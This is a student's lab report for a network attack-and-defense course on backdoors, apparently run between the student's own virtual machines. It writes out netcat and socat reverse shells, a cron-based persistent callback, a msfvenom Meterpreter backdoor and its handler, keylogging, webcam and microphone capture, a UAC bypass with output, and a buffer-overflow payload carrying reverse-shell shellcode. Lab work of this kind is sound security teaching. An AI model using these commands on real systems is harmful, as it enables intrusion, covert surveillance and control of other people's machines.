2019-2020-2 20175215丁文韬《网络对抗技术》Exp2 后门原理与实践

*一、后门的概念

二、常用后门工具

2.1 NC 或 netcat

2.1.1 Win获得Linux Shell

Windows获得Linux Shell

  • 在Windows下使用ipconfig查看本机IP

  • 使用ncat.exe程序打开监听ncat.exe -l -p 5215

  • 在kali中反弹连接Windows,ncat 192.168.3.26 5215 -e /bin.sh,使用-e选项执行shell程序

Linux获得Windows Shell

  • 在kali中使用ifconfig查看IP

  • 打开监听nc -l -p 5215

  • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.30.134 5215

  • kali成功获得Windows的命令提示

*2.1.3 Mac获取Win shell

*2.1.4 Win获取Mac Shell

*2.1.5 Mac获取Linux Shell

*2.1.6 Linux获取Mac Shell

  • 由于没有Mac电脑,做不了,就不做了。

2.1.7 Netcat扩展知识

使用nc传输数据

  • Windows下监听5215端口,ncat.exe -l 5215
  • kali反弹连接到Windows的5215端口,nc 192.168.3.26 5215
  • 连接建立成功,双方可以相互传输数据

使用nc传输文件(将文件从kali传给Windows)

  • Windows下监听5215端口,并把收到的数据保存到file5215.out中,ncat.exe -l 5215 > file1.out
  • kali 反弹连接到Windows的5215端口,nc 192.168.3.26 5215 < file1.in
  • 连接建立成功,Windows可以收到kali发来的文件。

2.2 Meterpreter

  • 后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。

    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

  • 典型的平台就包括有:

  • 参数说明

    • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

Meterpreter更多指令

meterpreter > help
Core Commands第一部分是核心指令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands第二部分是文件系统相关的
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands当然少不了网络操作的了
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands系统指令
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands用户接口,哇还可以抓取击键记录呢
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands 什么?Video?昨天哪位同学问我来着?测试Win7可拍摄。
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands提权
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.
    ***我的win7没成功***

Priv: Password database Commands导出密码文件SAM
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
    ***我的win7没成功***

Priv: Timestomp Commands修改文件操作时间,清理现场用
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

三、实验内容

1.使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

  • crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
  • 最后一行添加43 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh,意思是在每个小时的第43分钟反向连接Windows主机的5215端口。

  • 时间到达43分的时候,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)

2.使用socat获取主机操作Shell, 任务计划启动

关于socat:

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。

  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 右击此电脑,点击管理

  • 点击任务计划程序,再点击创建任务

  • 填写任务名,新建一个触发器,选择定时启动(当然设置其他的也行,都可以用,例如锁定计算机时)

  • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上:

  • 创建好后任务准备就绪

  • 到达20.42后,再次打开时,可以发现之前创建的任务已经开始运行。(记住,弹出的cmd窗口别关闭)

  • 此时,在kali中输入输入指令socat - tcp:192.168.3.26:5215,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

由于一些失误,原有的虚拟机已经废除,新的虚拟机ip为192.168.30.137

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.137 LPORT=5215 -f exe > 20175215_backdoor.exe,这里的IP地址为控制端IP,即KaliIP(使用ifconfig查看),可见已经生成了后门程序“20175215_backdoor.exe”(此部分命令运行出现问题详见:实验中遇到的问题第二个。)

  • 在Windows下执行ncat.exe -l 5215 > 20175215_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5215 > 20175215_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.3.26 5215 < 20175215_backdoor.exe(这里的IP为被控主机IP,即WindowsIP)下面这个图是文件传输成功的截图

  • 传送接收文件成功,如下图所示

  • 在kali上使用msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.30.137,这里用的是KaliIP,和生成后门程序时指定的IP相同
    • set LPORT 5215,同样要使用相同的端口
  • 进入msf控制台后的界面

  • 输入指令后的界面

  • 设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录。(使用keyscan_start后就要输入,不然读取不到数据)

  • 使用screenshot指令可以进行截屏:

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作(该部分内容由Win7完成,理论上由Win10也能完成,对此遇到困难的同学请移步本博客下方内容:实验中遇到的问题第四个)

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 通过学习学姐的博客:使用MSF生成shellcode后,我对这种形式有了更进一步的理解。
  • 具体步骤如下:
    • 在这个shellcode网站,上面生成的的shellcode都是经过测试过可用的。在网站里找一个linux/x86平台的,用于反弹连接的shellcode,下载。我选择的是为下图红框部分的文件。
    • 复制出里面的机器码,其中的端口号和主机号也可以修改(但本次实验过程中没有修改)。
    • 通过实验一的学习,我们可以很轻松的找到shellcode的起始地址(切记要关闭地址随机化),我的起始地址是0xffffd6c0。把他加在这段shellcode前面,用其生成input_2文件。
perl -e 'print "A" x 32;print"\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2


- 然后在另一个终端总打开msfconsole,并打开监听(因为我使用的IP地址是127.0.0.1,为回送地址)

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
- 在原来的终端输入命令```(cat input_2;cat) | ./20175215pwn1```(运行pwn1文件),然后再按一次回车,在另一个终端就可以得到shell开始运行了。

SP.回答老师的问题

1.基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 在某些第三方网站中下载旧版本的某些应用程序,这些程序有可能会绑定某些可执行文件,留下后门。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    • Windows:设置开机启动、用户执行带后门的执行文件以及本次实验中使用的任务计划程序等等。
    • Linux:本次实验中使用的Crontab和注入shellcode。
  • (3)Meterpreter有哪些给你映像深刻的功能?

    • 通过后门控制被控主机的shell,本次实验中的调用麦克风、摄像头、键盘、读取屏幕。
  • (4)如何发现自己有系统有没有被安装后门?

    • 使用安全软件,定时检测系统有无异常
    • 使用任务管理器等系统软件查看是否有后台异常程序
    • 查看(本次实验中用到的)任务计划程序等等。

2.实验总结与体会

  • 本次实验中还是碰到了不少的问题,我一开始以为只要把攻击目标机器的防火墙关闭就可以随意操作了,没想到在计算机没有充分的防御情况下我的攻击与控制还是无法很流畅的达成。
  • 虽然我现在只是了解了后门的基本原理,但是我相信通过这次学习,脚踏实地一步步走,还能学到更多更深入的知识。

SP2.实验中碰到的问题

1.使用nc用windows向kali中传输文件中出错

  • 解决方案:暂时无法解决。

2.安装之后会有metasploit无法打开问题

Bundler failed to load and returned this error:
‘cannot load such file – bundler / setup’
You may need to uninstall or upgrade bundler
  • 解决方案:输入gem install bundler:1.17.3即可。

3.启动后门程序后被安全软件自动清除

  • 解决方案:记得关防火墙类程序!!!

4.提权失败

  • 把后门文件放在win10系统里的时候,kali中的提权操作总是失败,不知道出了什么问题,于是我改用娄老师给的一个win7系统进行入侵。

  • 上网查阅资料之后,通过meterpreter中的background命令查看到如下内容

  • 使用background命令之后会自动退出到msf的命令行下,先在msf命令行下输入search bypassuac,再输入use exploit/windows/local/bypassuac,然后再输入set session *(*填写内容为你使用background查看到的session数值),最后输入run,当运行结果大致为图文所示内容时,在meterpreter中的getsystem操作便会成功了。

  • 图:

  • 文:
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set session 4
session => 4
msf5 exploit(windows/local/bypassuac) > run

[*] Started reverse TCP handler on 192.168.30.135:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.30.140
[*] Meterpreter session 5 opened (192.168.30.135:4444 -> 192.168.30.140:49170) at 2020-03-09 03:04:04 -0400

SP3.参考资料

1.0x21_MAL_后门原理与实践.md
2.2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
3.Exp02
4.后渗透之meterpreter攻略
5.使用MSF生成shellcode
6.README

posted @ 2020-03-09 15:43  20175215丁文韬  阅读(910)  评论(0编辑  收藏  举报